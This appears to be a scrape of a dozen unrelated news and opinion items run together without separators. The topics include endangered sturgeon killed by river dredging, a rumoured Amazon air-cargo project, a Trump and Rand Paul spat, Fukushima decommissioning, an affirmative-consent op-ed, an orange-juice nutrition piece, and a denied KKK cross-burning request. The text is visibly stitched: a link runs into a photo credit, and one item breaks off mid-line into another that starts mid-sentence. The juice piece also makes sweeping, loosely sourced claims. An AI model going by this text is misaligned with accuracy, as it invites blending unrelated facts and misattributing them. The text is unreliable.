Because the fish are so rare and are listed as an endangered species, federal fisheries officials were contacted, the fish were recovered and corps officials "moved to a different section of the river" out of concern that more sturgeon might be in the area, Pearsall said.
In addition, they replaced the mesh screen over the drag head – the part of the dredge that pulls sand and sediments from the bottom – from 9 1/2 to 10-inch openings down to a smaller mesh of 4 ½ to 5 inches, he said. The mesh screen is supposed to keep larger fish out of the dredge suction equipment and protect them from harm.
The sturgeon were sucked up at the Delair Range, a section of the ship channel near Pennsauken, N.J., Pearsall said. Sturgeon typically live and feed at the bottom of the river.
"Because of the concerns, we moved to the Tacony range," several miles to the north, he said.
Maggie Mooney-Seus, a spokeswoman for National Fisheries North East Region, confirmed that two sturgeon had died as river dredging continued.
Mooney-Seus said a federal fisheries observer is aboard the dredge monitoring all operations.
The sturgeon carcasses were picked up by state environmental officials, who took samples, and then they were taken to Delaware State University for long term storage, she said.
Scientist Dewayne Fox and a team of graduate students have been tagging Atlantic sturgeon with tracking devices each spring before the fish move into coastal estuaries to spawn. The tracking project is designed to show researchers where the fish are going and when they move to specific areas.
In addition, state fisheries biologist Matt Fisher has been monitoring juvenile sturgeon in the Delaware River to see how the population is doing.
In 2009, he discovered a tiny Atlantic Sturgeon – the first confirmed evidence in 50 years of Atlantic sturgeon spawning in the Delaware Estuary.
Sturgeon are an ancient species, and were listed as endangered in 2012. Adults, which take as long a two decades to reach sexual maturity, spend much of their time in the ocean, but move into fresh water to spawn in the spring.
No one is certain exactly where spawning takes place in the Delaware estuary or whether females spawn every year. Each fish, however, has a genetic signature that is unique to the estuary where it was spawned.
Historically, Atlantic sturgeon have been found in all the major river systems along the Atlantic, from Canada to Florida. The Delaware River had the largest population and in the late 1800s, the fish were targeted for both flesh and their eggs, which were salted and sold as caviar. At the time, the Delaware River was the largest producer of caviar in the country.
River landings peaked in 1888 at 6 million pounds. By 1901, sturgeon landings in the Delaware were 6 percent of that. Fishing for Atlantic sturgeon was banned in Delaware in 1999.
Industrial uses along the river have also taken a toll on Atlantic sturgeon.
A recent News Journal review of documents from the Salem-Hope Creek nuclear plant found that workers found 23 Atlantic sturgeon in Salem's intake structure since July 1, including 11 dead and six others with sometimes grievous injuries. The numbers exceeded federal estimates made in 2010.
Researchers believe fewer than 100 adult Atlantic sturgeon now return to the Delaware Bay and River for spawning each year, with past studies estimating the number of immature juveniles in local waters at 5,700 to fewer than 1,000.
Reporter Jeff Montgomery contributed to this story.
Reach Molly Murray at 463-3334 or mmurray@delawareonline.com.
Follow her on Twitter @MollyMurraytnj.
Read or Share this story: http://delonline.us/1o8E0N3Photo: Robert Scoble/Flickr
In 2013, at the height of the holiday season, a surge of last minute Amazon orders and bad weather left many customers without gifts under the tree on Christmas day.
Amazon said the problem was not due to issues with its warehouses or staff, but failures on the part of UPS and other shipping partners. It apologized and reimbursed some customers with $20 gift cards, but the debacle underscored for Amazon the disadvantages of relying on third party shippers for its delivery process.
Since then, Amazon has been increasingly investing in its own alternatives, from contracting additional couriers to rolling out its own trucks in some cities.
The latest rumored venture into Amazon shipping has a name: Aerosmith.
An air cargo operation by that name launched in September of this year in Wilmington, Ohio on a trial basis. The operation is being run by the Ohio-based aviation holding company Air Transport Services Group, or ATSG, out of a state-of-the art facility. It's shipping consumer goods for a mysterious client that many believe to be Amazon.
***
Situated in Wilmington, a bucolic town of 12,000, is the Wilmington Air Park, a large non-passenger airport facility with major sorting and cargo capabilities.
The airport has two large runways that can land aircraft as large as a 747, and hosts eight industrial facilities ranging from 74,000 square feet to 1.1 million square feet. An on-site administrative facility has 104,000 square feet of office space.
The center previously served as a military base until it was decommissioned by the Air Force in 1972, and following that has been used for shipping cargo for various clients, including as a major hub for DHL US Express starting in 2003. After a failed attempt to compete with FedEx and UPS for shipping locally in the US, the German company announced in 2008 it would discontinue operations there, shifting its focus to international logistics out of Cincinnati and eliminating 7,500 local jobs in Wilmington. The resulting devastation to the local economy made national news, including a profile on 60 Minutes and a series of dispatches from Glenn Beck. The loss made such an impact nationally it became a campaign issue for candidates in the 2008 presidential elections.
Since the departure of DHL, the Wilmington Air Park, which once moved around a million packages a day, according to an estimate from a representative there, has been largely dormant. It hosts a relatively small MRO (Maintenance Repair and Overhaul) operation but its extensive conveyer belt systems and sorting buildings have remained underutilized—until September, when an unnamed company started up operations there.
The nameless company has contracted two Boeing 767s from airline ABX and two more from airline Air Transport International, Motherboard confirmed with Paul Cunningham, a spokesperson for ATSG.
Through a contract like this, called a wet lease, airlines rent out their planes, crews, and maintenance and training teams to carry out projects and ship products for clients. The patchwork operation allows a company to move freight around the world without purchasing planes of its own.
The project is an air freight transportation operation flying four flights a day, Cunningham said. The hub-and-spoke operation is based out of Wilmington (ILN) with flights to and from four other confirmed airports: Allentown, PA (ABE), Ontario, CA (ONT), Tampa (TPA) and Oakland (OAK). Amazon has distribution centers about 20 miles from ABE and ONT and within 60 miles of TPA and OAK.
A representative from TPA told Motherboard, "We have no comment on the cargo flights out of TPA." A daily Air Transport International flight has been flying from ILN to OAK to load and unload cargo since mid-September, a spokesperson from OAK confirmed to Motherboard. The spokesperson said he did not know how long the contract was for this particular project. Keith Snyder, chief of airport operations at Ontario International Airport, confirmed there is a daily air cargo operation flying into ONT from Wilmington. He said he was not familiar with the nature of the cargo involved.
"It is general consumer goods," he said of the cargo being shipped. "I can't be specific."
Cunningham declined to say whether the company behind Aerosmith was Amazon, citing a nondisclosure agreement. "It is general consumer goods," he said of the cargo being shipped. "I can't be specific, we just receive the freight, load it on and move it. It's not something that it's obvious what it is."
This mystery company had not yet indicated if the project was short or long term, Cunningham said. "I imagine through the peak shipping season, fourth quarter, that would be my guess," he said.
Whatever the client is, it seems that its corporate leadership wants to keep things quiet. When questioned about the project, a representative from Lehigh Valley International Airport (ABE) in Allentown told Motherboard, "We can't discuss that," and hung up the phone.
FedEx, UPS, and DHL all confirmed to Motherboard that they are not involved in Aerosmith. Amazon did not deny it was behind the project, but told Motherboard in a statement, "We've long utilized air capacity through a variety of great partners to transport packages and we expect that to continue."
***
Amazon has been making moves into the delivery business since at least early 2014, when logistics trade publication DC Velocity reported that the company was revamping its fulfillment infrastructure and adding its own private fleet on the ground.
An unnamed Amazon source also told the publication the company "is assembling a high-level executive team to lead the company's push to develop its own transportation network," and that it will launch its shipping infrastructure sometime in 2016.
The company's ultimate goal, the source told DC Velocity, is to guarantee a 90-minute to two-hour delivery window—shaving down the time difference between online orders and going to a brick and mortar store.
Amazon previously announced its ambition to use drone delivery to speed up Amazon Prime orders, a plan that has thus far been slowed down by FAA regulations. It has also been quietly testing deliveries with its own vans since early last year, in locations including San Francisco, New York, and London. It has been building out its Prime Now service, which offers one-hour and two-hour delivery on certain items, expanding the service to several more cities this year and adding food and alcohol deliveries.
With shipping, as with all of Amazon's $250 billion empire, efficiency is key. Amazon's net shipping cost in 2014 was $4.2 billion, up from $3.5 billion in 2013, according to a 10-K filing from 2014 with the Securities and Exchange Commission. With delivery costs weighing heavily on Amazon and ongoing headaches with UPS and other third party shippers, the company has a lot to gain from its own logistics network, whether just supplementing shipments in peak seasons or cutting out other carriers entirely. The company's $190 billion China rival Alibaba launched its own logistics network in 2013 and expanded in 2015 to bring grocery delivery to 250 cities total.
It's not out of the question that an Amazon delivery service could become another revenue stream for the company, similar to its business model for Amazon Web Services, a cloud hosting service it began for internal purposes and then started leasing out to customers. AWS is now one of the company's greatest assets, generating $6 billion a year in profit. A report from financial analysts at RW Baird in October also found Amazon could earn $5 billion a year investing in its own freight and logistics services.
A forklift operator moves a pallet of goods at an Amazon.com fulfillment center in DuPont, Wasington. Photo: AP
Amazon told the SEC it is looking to offset shipping costs, which are increasing as the company moves into faster shipping options and new kinds of products.
"We seek to mitigate costs of shipping over time in part through achieving higher sales volumes, optimizing placement of fulfillment centers, negotiating better terms with our suppliers, and achieving better operating efficiencies," Amazon said in the 10-K filing. "We believe that offering low prices to our customers is fundamental to our future success, and one way we offer lower prices is through shipping offers."
It is possible Amazon is just building up a system to supplement its current system during high-volume periods like the holiday season.
However, talk of Amazon's plans to expand into transportation and freight has been intensifying recently, said Marc Wulfraat, president of logistics consulting firm MWPVL International, which follows Amazon closely.
He said he is skeptical of any concrete programs for air cargo, but wouldn't rule transportation operations out completely.
"They might be doing a pilot project, they're always testing something to see whether or not it makes sense, they're always coming up with new ideas to lower shipping cost," Wulfraat said. "Shipping cost is their big albatross, they're always looking for ways to bring that under control."
***
With a system built for major sorting and shipping capacity that is ready to go but largely unused, Wilmington is an ideal location for an Amazon logistics operation, said Brandon Fried, executive director at the air freight forwarding advocacy group Airforwarders Association.
"It is the perfect setup," he said. "It's ready to go, it's turnkey: They have warehousing, and they have a very sophisticated landing system in place, so it wouldn't be outlandish for them to bring the cargo in using a fleet of planes."
Fried said he has heard rumors for years now in the air cargo world that Amazon wants to take shipping and delivery into its own hands. He said although it would be a risky move, it would make sense for the company to work to cut costs in that area.
"In our business, if you have to go out and buy transportation all the time from others, they are going to make money, and when you are operating on thin margins you are going to find ways to make that more cost efficient," he said. "Amazon has got the delivery infrastructure in place, they are delivering products the next day virtually everywhere in the US now and they are buying that transportation from somewhere."
In October, somebody claiming to work for Amazon posted on a pilot forum saying the company is working on a secretive air delivery operation––the next step toward replacing UPS and other shipping partners with a homegrown solution.
"Well everyone probably knows that Amazon was the first company to be authorized to fly commercial drones, but what you don't know is that they are flying two B-767s and within the next two years are planning to be the world's' largest overnight parcel delivery service," the user wrote.
Amazon becoming the largest overnight carrier in two years would be a Herculean feat. By way of comparison, financial filings released in June show Fedex Express had a fleet of 647 planes as of May. "FedEx and UPS weren't created overnight, no pun intended, those companies have vast infrastructure in place," Fried said. Developing its own operation "might not be the wisest or most prudent move for Amazon at this point, but it could happen."
But the rumor mill is not limited to message boards and industry chatter. One technician at the Wilmington Air Park told Motherboard his company has not yet told him who the Aerosmith client is, but it is "going around work that it's Amazon."
Amazon's involvement in project Aerosmith remains unconfirmed by the company.
However, the strategic locations of project Aerosmith leave little doubt in Fried's mind about who is behind the venture.
"I am guessing it is Amazon," he said. "Of course, we can get off the phone and the next thing you know it's somewhere like Macy's, but I can't think of a retailer that is out there right now that would have the need for such complex distribution. I can't think of anyone else it would be."Republican presidential candidate Rand Paul looks at Donald Trump's past comments on Democrats in his latest ad, which he posted on YouTube. (Rand Paul)
UPDATE: At 6:50 p.m., Donald Trump sent The Washington Post a lengthy response to Kentucky Sen. Rand Paul's ad. Here it is, in full.
Rand Paul is doing so poorly in the polls he has to revert to old footage of me discussing positions I no longer hold. As a world-class businessman, who built one of the great companies with some of the most iconic real estate assets in the world, it was my obligation to my family, my company, my employees and myself to maintain a strong relationship with all politicians whether Republican or Democrat. I did that and I did that well. Unless you are a piece of unyielding granite, over the years positions evolve as they have in my case. Ronald Reagan, as an example, was a Democrat with a liberal bent who became a conservative Republican. Recently, Rand Paul called me and asked me to play golf. I easily beat him on the golf course and will even more easily beat him now, in the world in the politics. Senator Paul does not mention that after trouncing him in golf I made a significant donation to the eye center with which he is affiliated. I feel sorry for the great people of Kentucky who are being used as a back up to Senator Paul’s hopeless attempt to become President of the United States--- weak on the military, Israel, the Vets and many other issues. Senator Paul has no chance of wining the nomination and the people of Kentucky should not allow him the privilege of remaining their Senator. Rand should save his lobbyist’s and special interest money and just go quietly home. Rand’s campaign is a total mess, and as a matter of fact, I didn’t know he had anybody left in his campaign to make commercials who are not currently under indictment!
At 7:32 p.m., Paul campaign strategist Doug Stafford sent this response.
Wow, that took a while to read. First, Ronald Reagan spent 20 years as a conservative before running for President, not twenty minutes. He changed out of conviction. He campaigned for Goldwater in 1964 giving one of the great conservative speeches of all time, setting the intellectual agenda for a generation of conservatives. Donald Trump couldn't set the intellectual conservative agenda of anything, not even the tiniest rooms, never mind a country. He is devoid of ideas other than he likes the idea of power and getting attention for foolish statements and bluster. Rand Paul is the one following in the footsteps of Reagan, setting the intellectual agenda for a conservative movement of change. Rand stands for principle. He has detailed plans to end our debt by balancing the budget in 5 years. He has a detailed flat and fair tax that would be a huge tax cut for Americans while ending the corporate welfare gravy train for people like Donald Trump. He has real plans to defeat the Washington machine like term limits and forcing Congress to read the bills. While he appreciates Donald's golf skills, I will note that [the game] was on his home course that he plays often. And he does sincerely appreciate Donald's generosity to the eye clinic. In fact he has mentioned it often, including in his op-ed and speeches this weekend. The fact is, Rand is running to fight the big business, big government establishment. Donald Trump already represents one end of that problem. Now he wants to represent the other. It won't work.
Trump's initial response came several hours after Rand Paul's presidential campaign released an aggressive attack video Wednesday questioning Trump's conservative bona fides.
“I probably identify more as a Democrat,” Trump is shown saying in the video. "I've been around for a long time, and it just seems that the economy does better under the Democrats than the Republicans.” The words imposed on the screen as Trump speaks: "I... IDENTIFY MORE AS A DEMOCRAT." (The all-caps are all theirs.)
The Paul campaign said the ad would run in New Hampshire and Iowa through the weekend. "In sharp contrast, Senator Rand Paul has been a true conservative who has always stood up to the Washington machine," a campaign spokesman said in a statement to the press about the new spot.
Paul and Trump engaged in a tense back and forth during the first Republican primary debate last Thursday, in which Paul called into question Trump’s party loyalty after the real estate tycoon said he would not pledge not to run as an independent if he loses the GOP nomination. Trump fired back at Paul, insinuating that Paul was being bought by donors.
The next Republican presidential debate is Sept. 16 in Simi Valley, Calif.BAKU (Reuters) - Azerbaijan on Sunday announced joint military exercises with Georgia and Turkey, plans which are likely to raise tensions with neighboring Armenia a day before talks in Vienna over the breakaway region of Nagorno-Karabakh.
The territory, which lies inside Azerbaijan but is controlled by ethnic Armenians, has run its own affairs with heavy military and financial backing from Armenia since a separatist war ended in 1994.
A ceasefire agreed on April 5 after an outbreak of fighting has been violated every day, say locals.
“To increase the combat capabilities and combat readiness of the Azerbaijan, Turkey and Georgia, we deemed it worthwhile to carry out joint military exercises,” Azeri Defense Minister Zakir Gasanov said on Sunday.
It was not immediately clear when the exercises, which have also taken place in past years, would be carried out.
A spokesman for the Armenian Defense Ministry did not comment on the implication of the exercises for Nagorno-Karabakh peace process.
Several soldiers, from both sides, have been killed in exchanges of fire since the ceasefire was declared. An Azeri soldier was killed on Thursday near Nagorno-Karabakh, Azerbaijan’s Defense Ministry said on Friday.
Armenia said its serviceman Aram Ohanyan died of wounds on Saturday after being shot by an Azeri sniper near southwestern Armenian border, in an incident unrelated to Nagorno-Karabakh.
Both the Azeri and Armenian presidents, as well as diplomats from Russia, the United States and France, will meet in Vienna on Monday to discuss the situation in Nagorno-Karabakh.Angry birds vs. robotic zombies. There's so much weirdness here, I'm not even sure where to begin. First, there's the jargon-filled opening sentence: "Signaling often involves complex suites of behaviors that incorporate different sensory modalities." The "sensory modality" in question here is visual, in that it involves a bird waving its wing around as part of a territorial dispute among sparrows. If this sounds like much ado about nothing, be aware the press release claims the sparrows in question will sometimes fight to the death.
But the real thing setting this paper apart is its technique: It took taxidermy sparrows and reanimated them with robotics to see how living sparrows would respond to them. According to the PR, "The live birds responded most aggressively to the invading, wing-waving robotic sparrow, which Anderson [the lead researcher] said she expected." Clearly, she has formed expectations about things I never expected to see happen.
There's no such thing as a generic conservative. It took an international team of researchers to crunch these numbers, but the conclusions are clear: areas of the country that tend to vote for conservative candidates don't buy as many generic products. The authors ascribe this to conservative tendencies themselves, which cause the buyers to favor established national brands. They support that argument by noting newly established brands also tend to fare poorly in these same areas.
The lead singer of King Missile was apparently a sea slug. King Missile, of course, being the source of the song "Detachable Penis" (which has a remarkably detailed Wikipedia entry). The paper that evoked memories of the song features an opening statement I find it hard to disagree with: "some simultaneous hermaphrodites exhibit bizarre mating behavior." But, by that point, the title of the paper had already given the game away: "Disposable penis and its replenishment in a simultaneous hermaphrodite."
The hermaphrodite in question, the nudibranch or sea slug, has both male and female sexual organs. And, when it mates, the external portion of its penis breaks off and gets left behind. But that's OK! There's more penis coiled up inside the slug, and it can be ready to have sex again in 24 hours. "No other animal is known to repeatedly copulate using such ‘disposable penes,’" note the authors. The authors note there's enough penis coiled up in there for three copulations, but the text I have access to doesn't specify what happens if the animal wants to mate a fourth time.
Scientific evidence that some cosmetics advertising is bullshit. It seems pretty obvious that a lot of advertising copy used by cosmetics companies is ridiculous. For whatever reason, companies have decided sounding scientific will move moisturizers, and the result is a mix of meaningless science-y-sounding terminology, sprinkled with some actual scientific terms used badly. So it was my pleasure to see some researchers had put a material commonly found in cosmetics to the test—and found it didn't work. Liposomes are small lipid sacs that can merge with cell membranes, carrying their contents inside the cell, which has apparently caused many cosmetics companies to start using them. But the authors used fluorescent microscopy to show liposomes can't make their way across the barrier of the skin, so they don't really do anything more than spreading the material on your skin would.
Mandating smaller package sizes do increase public health. If this were a regular article here on Ars, the subject of the regulation might be large bottles of soft drinks. But this is Weird Science, so the paper in question is looking at painkillers. Apparently, in the UK, paracetamol (sold in the US as Tylenol) was subject to regulation that reduced its pack size. As a result, paracetamol poisonings (which include suicide attempts) have dropped by 43 percent over the decade since, while the number of people who need a liver transplant due to overuse of the painkiller has plunged by 60 percent.An 18-year-old man is facing a slew of charges after allegedly speeding away from police in a stolen car that he later crashed.
Officers spotted a stolen Toyota Camry at about 2 a.m. at Bannerman Avenue and Main Street in Winnipeg, police said.
The officers pursued the car but the driver raced off with no regard to public safety, police said.
The driver eventually lost control and crashed in the area of Kimberley Avenue and Gateway Road, in the city's East Kildonan area.
Three males, including the driver, were taken into custody at the scene.
A 15-year-old male passenger ran from the scene and was later tracked down by the canine unit. He was found hiding nearby, in the 700 block of Blantyre Avenue.
The driver is facing the following charges:
Theft of motor vehicle.
Theft under $5,000.
Flight while pursued by a peace officer.
Dangerous operation of a motor vehicle.
Possession of a weapon.
Possession of break-in instruments.
Failure to remain at the scene of an accident.
Driving without a licence or with an invalid licence.
He was released on a promise to appear in court at a later date.
None of the passengers was charged.Justice League filming wraps in London
The Justice League filming has wrapped in London, though it’s not the end of the shoot. The production is now moving to the Westfjords of Iceland to film scenes. The cast and crew celebrated the end of filming in London last night with a wrap party, from which you can see some photos below. Jason Momoa, who plays Aquaman, also posted that he wasn’t going to be able to make the wrap party.
In related news, Ben Affleck talked more to Extra about the Tactical Batsuit that director Zack Snyder revealed previously. “There’s two suits in Justice League. One we’ve seen before, and then one that he augments because of the nature of the mission, which I can’t give away,” Affleck said. “But it was a chance for them to play with the suit and add elements to it, and kind of tech it out.”
Fueled by his restored faith in humanity and inspired by Superman’s selfless act, Bruce Wayne enlists the help of his newfound ally, Diana Prince, to face an even greater enemy. Together, Batman and Wonder Woman work quickly to find and recruit a team of metahumans to stand against this newly awakened threat. But despite the formation of this unprecedented league of heroes—Batman, Wonder Woman, Aquaman, Cyborg and The Flash—it may already be too late to save the planet from an assault of catastrophic proportions.
Ben Affleck, Henry Cavill and Gal Gadot will be reprising their roles as the DC Trinity, Batman, Superman, and Wonder Woman in Warner Bros.‘ Justice League, and joining them are Jason Mamoa as Aquaman, Ray Fisher as Cyborg, and Ezra Miller as The Flash. Amber Heard is set to play Queen Mera in the film as well before moving to the solo Aquaman movie in 2018, with Willem Dafoe appearing as Atlantean Vulko, and J.K. Simmons playing Commissioner Gordon.
Directed by Zack Snyder (Batman v Superman: Dawn of Justice), Justice League will debut in theaters on November 10, 2017.
There’s to many people to thank for all their hard work JL. Tonight is our wrap party. I am so thankful for my cast and crew. I love you. I have never in my life missed a wrap party But as you all know I’m a huge fan of the food and merriment!!!! Unfortunately I prepare for the north. For those that will be there. I WON’T let you down Shaka aaalllooohhhaaa see u Monday xxxxxxxxxxxxxxx aquaman A photo posted by Jason Momoa (@prideofgypsies) on Oct 1, 2016 at 9:01am PDT
[Gallery not found]A bill making its way through the California Assembly is attempting to address the problem of rape on college campuses by mandating “affirmative consent”—a verbal or written yes—before engaging in sexual activity.
California’s not the only one in the midst of moral panic. Here in the UK we’ve seen a bloodbath of historic sexual abuse claims, and endless media coverage of the allegations and trials. The most prolific paedophile was the TV presenter and philanthropist, the late Jimmy Savile, whose charity work in children’s hospitals and care homes gave him unprecedented access to vulnerable youngsters. The convictions of these perpetrators—all male, and almost all elderly—is a reminder that behaviour which was permitted, or at least not talked about, in the 1960s, ’70s and ’80s is no longer acceptable. Obviously this is a good thing.
But are we going too far? Clearly there’s no justification for sexual contact of any kind between an adult male (or female) and an underage child. But what about consenting adults: Where’s the line between normal human flirtation, making a move, and sexual impropriety?
Californian bill SB 967, which has already passed the state senate, proposes that all sexual behavior on state-run college campuses will require “an affirmative unambiguous and conscious decision by each participant to engage in mutually agreed upon sexual activity. … Lack of protest or resistance does not mean consent, nor does silence mean consent.”
SB 967 is designed to make it clear that only “yes” means “yes.” The person who is initiating sexual behavior must receive a verbal yes from the other person before continuing, and this consent must be ongoing through the sexual encounter.
But how will this work in practice? How can verbal consent be legally proven: might this require an independent witness, even a formal contract? Is verbal consent valid if either party is intoxicated? The bill makes clear that consent for kissing does not count as consent for oral sex—well, yes, obviously—but must participants stop in the heat of passion and check before each new “move”? And how long would this process of mutual agreement continue within a relationship?
Critics have highlighted many flaws in bill 967: that putting the onus on individuals to get positive consent for every act of intimacy is both improbable and dangerous to students’ rights; that strictly applying such a standard would make most ordinary couples potentially liable for sex offenses; and that resolving whether “affirmative consent” was not only present but “continuous” throughout an act will be nearly impossible.
Let’s be absolutely clear: Rape or any other sexual assault is totally inexcusable, and deeply traumatic for the victim. Bill 967 promises to make the reporting and conviction process more victim-centred, “so that victims are not re-victimized again”; to make it harder for perpetrators to brush assaults off as alcohol-fueled encounters; and protect the confidentiality of victims.
But what about regular physical intimacy between regular (non-criminal) students? Are we in danger, in the rush to legislate, of ruining the moment? When I was a teenager, the stages of physical intimacy were called bases: so you might go to first base, second base, third base, or “all the way.” (I don’t remember any young men checking in between bases…)
Comedians love to satirise this kind of law: “May I touch your left breast?’ “You may touch my left breast’; “May I touch your right breast?’ etc. Comedy aside, the conviction rate for rape and other sexual crimes is scandalously low, and this bill seems unlikely to right that wrong. The tragic fact is that rape can and does happen within marriages: once again, SB 967 does nothing to address that.
The growing “zero tolerance” attitude to sexual, domestic and child abuse is undoubtedly positive, but let’s not spread the seeds of suspicion throughout all sexual encounters. The vast majority of adults know right from wrong, understand that no means no, and are able to read the signs when it comes to making advances towards a potential new partner.
All the men I asked agreed that it’s clear when it’s OK to kiss someone. My best (male) friend said: “I’ve never asked a woman outright if I can kiss her. I tend to go with my instincts: if it feels right, it probably is right. My main concern is: Is she interested—is she happy with whatever’s going on?”
As he says, most men are not predatory sex pests, trying to force themselves on women, get a hand up her skirt, or cop a feel. California’s plans to make sexual activity “unambiguous” are impractical and unenforceable: Mutual attraction, unlike a house purchase or a business arrangement, is never guaranteed.
Forget affirmative consent, here’s a simple solution: don’t lunge. If you’re in a situation where the vibe seems right, take it slow. Make your move slowly (very, very slowly if you’re unsure) so that the other person has time to turn their head away. And if you get a “uh, no thanks”? Well, that’s where good manners come in. If it’s not mutual, it’s not on. Step away politely, apologise profusely, and find a taxi, pronto.
Emma Woolf is the author of An Apple a Day and The Ministry of Thin. Follow her on Twitter @EJWoolfFukushima chief confident new disaster won't threaten clean-up
The chief of Japan's shuttered Fukushima nuclear power plant warned Wednesday that the biggest risk the crippled facility faces is another major earthquake and tsunami -- though insisted the chaos of nearly five years ago won't be repeated.
On March 11, 2011, a magnitude 9.0 undersea earthquake off Japan's northeastern coast sparked a massive tsunami that swamped cooling systems and triggered reactor meltdowns at the Fukushima Daiichi plant, run by operator Tokyo Electric Power (TEPCO).
Radiation spread over a wide area and forced tens of thousands of people from their homes -- many of whom will likely never return -- in the worst nuclear accident since Chernobyl in 1986.
View of the No. 3 reactor building during a media tour of Tokyo Electric Power Co's (TEPCO) Fukushima Daiichi nuclear power plant in Okuma, on February 10, 2016 ©Toru Hanai (Pool/AFP)
Now with the fifth anniversary of the disaster approaching next month, TEPCO opened up the facility to journalists on Wednesday to provide an update on the clean-up process, which is expected to take decades.
"If a major earthquake hits and then a tsunami comes again, that would be the most tense moment for us," Akira Ono, head of the plant, told reporters when asked what would be the greatest risk to the plant.
TEPCO has been blamed for a delay in securing power to cool fuel in the reactors that triggered meltdowns and subsequent hydrogen explosions that spewed radiation over the area and forced residents to flee.
- Challenges ahead -
"But we will not fall into similar confusion like before," Ono said, explaining that energy levels at the plant are much lower than those after the accident, while the company has carried out disaster drills to prepare.
He also said the firm had built temporary coastal barriers that can block waves of up to 15 metres (50 feet), matching levels of the 2011 tsunami.
Some 8,000 workers, ranging from nuclear experts to civil engineers, are still battling daily to control the meltdown-hit reactors as their decommissioning process is still in the initial stage.
Some progress has been made as massive wreckage, including overturned vehicles, were removed and workers are no longer required to wear full-face masks in many areas of the site.
In a newly built rest station inside the facility, workers can have hot meals and check their radiation exposure levels through state-of-art whole-body counters.
But the scar of the catastrophe is still visible in other areas as steel frames gnarled by the hydrogen explosions can be seen at the plant's No. 3 reactor, where radiation levels are still extremely high.
About 1,000 huge tanks for storing contaminated cooling water occupy large parts of the site some 230 kilometres (142 miles) northeast of Tokyo.
And more tanks will be needed as massive amounts of groundwater flows into the reactors everyday and mixes with the cooling water.
Ono, the plant chief, says the reactors are now stable but need to be kept cool to prevent them running out of control again.
TEPCO estimates that it is likely to take up to four decades to completely clean up the site, but some experts warn the unprecedented decommissioning may be delayed further.
"I feel like we have just climbed over the first stage of a mountain," Ono said, using a colloquial Japanese expression meaning that only 10 percent of the journey is finished.
A TEPCO employee measures a radiation levels at the Fukushima nuclear power plant in Okuma, on February 10, 2016 ©Toru Hanai (Pool/AFP)Charity daredevil Dan Martin plans to swim the Atlantic, cycle across Europe and Siberia – in winter – and run across the US
The following correction was printed in the Guardian's Corrections and clarifications column, Friday 26 March 2010
In a panel accompanying a report about a solo swimming attempt on the Atlantic we referred to an earlier successful crossing in 1998 by a 31-year-old Frenchman, Ben Lecomte, the first person to achieve the feat. We inadvertently suggested that he took a surprisingly relaxed approach to the task by swimming "in a wetsuit and slippers". Flippers, in fact, were his more practical choice
An unemployed teacher |
fruits, and whole grains.
More importantly, since juicing fruit tends to remove most of its fiber, the key ingredient that keeps you feeling full and satisfied until your next meal, drinking a tall glass of orange juice can leave you feeling pretty hungry rather quickly. This is one of the reasons calories from sweetened beverages are often referred to as “empty calories” — the mixture is mostly sugar and water, and low in fiber, fats, and protein, and your body processes it relatively quickly. Consistently indulging in beverages or other foods with a profile like this can increase hunger pangs and mood swings and leave you with low energy levels.
Here’s the nutritional profile for a 12-ounce glass of orange juice:
153 calories
34 grams of carbohydrates
27 grams of sugar
2.4 grams of protein
0.7 grams of fiber
That’s the same amount of carbs as a bag of M&Ms, with just three fewer grams of sugar.
What does “not from concentrate” mean exactly?
So everything that is natural is also pasteurized, and deoxygenated and has artificial flavors that do not have to be listed as ingredients because they are technically, partially made from oranges?
“Not from concentrate” was a brilliant marketing scam that worked. As it turns out, it’s more expensive and difficult to deal with concentrate. They can store the juice-like sugar water for longer when it’s not in a concentrated form. This worked out great for sales since we’re easily deceived into thinking that something is somehow healthier if it’s “not from concentrate.”
Conclusion
Juice is not really natural nor healthy anyway. Juice does not exist in nature. It is always processed to some degree and some benefits are lost. Minimally processed, organic, whole food juice is OK. Whole puree is even better. You shouldn’t drink a lot of any type of juice. You get some juice when you eat food. Throwing away the food and only drinking the juice makes as much sense as drinking orange juice because it’s healthy. Yes, juice is a better choice if you are chugging diet soda all day if you need to justify your sugar addiction.
Make your own juice as a treat with in-season, organic oranges. It will taste and smell delicious; not even comparable to processed junk. The effort of doing it will keep you healthier and make the experience more enjoyable.
Sources: postindependent.com, gizmodo.com, businessinsider.com
RelatedThe Stone Mountain Memorial Association this week denied a Ku Klux Klan request to burn a cross at the park, citing the trouble at a “pro-white” rally last year.
Joey Hobbs, a Dublin man with the Sacred Knights of the Ku Klux Klan, wanted to hold a “lighting” ceremony on Oct. 21 with 20 participants, according to the application. This would’ve been to commemorate the KKK’s 1915 revival, which began with a flaming cross atop Stone Mountain on the evening of Thanksgiving.
“We will light our cross and 20 minutes later we will be gone,” wrote Hobbs, who couldn’t be reached for comment Wednesday, in an application dated May 26. It wasn’t immediately clear if Hobbs holds a formal position with the group.
“We don’t want any of these groups at the park, quite frankly,” John Bankhead, spokesman for the association said Wednesday, referring to white nationalists groups and the KKK. “This is a family-oriented park.”
But since it’s a public park, the association created a permit process to consider each application individually.
An application to burn a cross at Stone Mountain Park was denied this week.
In a statement, the memorial group, which oversees the park, said it “condemns the beliefs and actions of the Ku Klux Klan and believes the denial of this Public Assembly request is in the best interest of all parties.”
Writing to deny Hobbs, CEO Bill Stephens cited the trouble at the “Rock Stone Mountain” rally of April 23, 2016. The park had to close that day as white power revelers, including KKK members, clashed with counter-protesters.
Stephens said an event like Hobbs’ would require public safety resources beyond what park police could provide, and thus, would put guests, employees and public safety workers in danger.
Besides creating a potentially-dangerous scene, the cross-burning would’ve also been an act of intimidation, Bankhead said.
“I think anybody who knows about cross burning knows why it’s used,” Bankhead said, recalling the KKK’s track record of setting crosses on fire to intimidate African Americans. “We’re just not going to allow that.”
Georgia's terroristic threats and acts statute also specifically bars the practice when it’s done with the intent to “terrorize.” The U.S. Supreme Court ruled in 2003 that states can ban cross-burning, though it warned that the intent to intimidate must be proven in each case.
Whatever Hobbs’ intent, the Stone Mountain Memorial Association CEO said the event would violate its ordinances against disruptions to the park and actions that present a “clear and present danger.”
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In other news:Orwell warns that we will be overcome by an externally imposed oppression. But in Huxley's vision, no Big Brother is required to deprive people of their autonomy, maturity and history. As he saw it, people will come to love their oppression, to adore the technologies that undo their capacities to think.
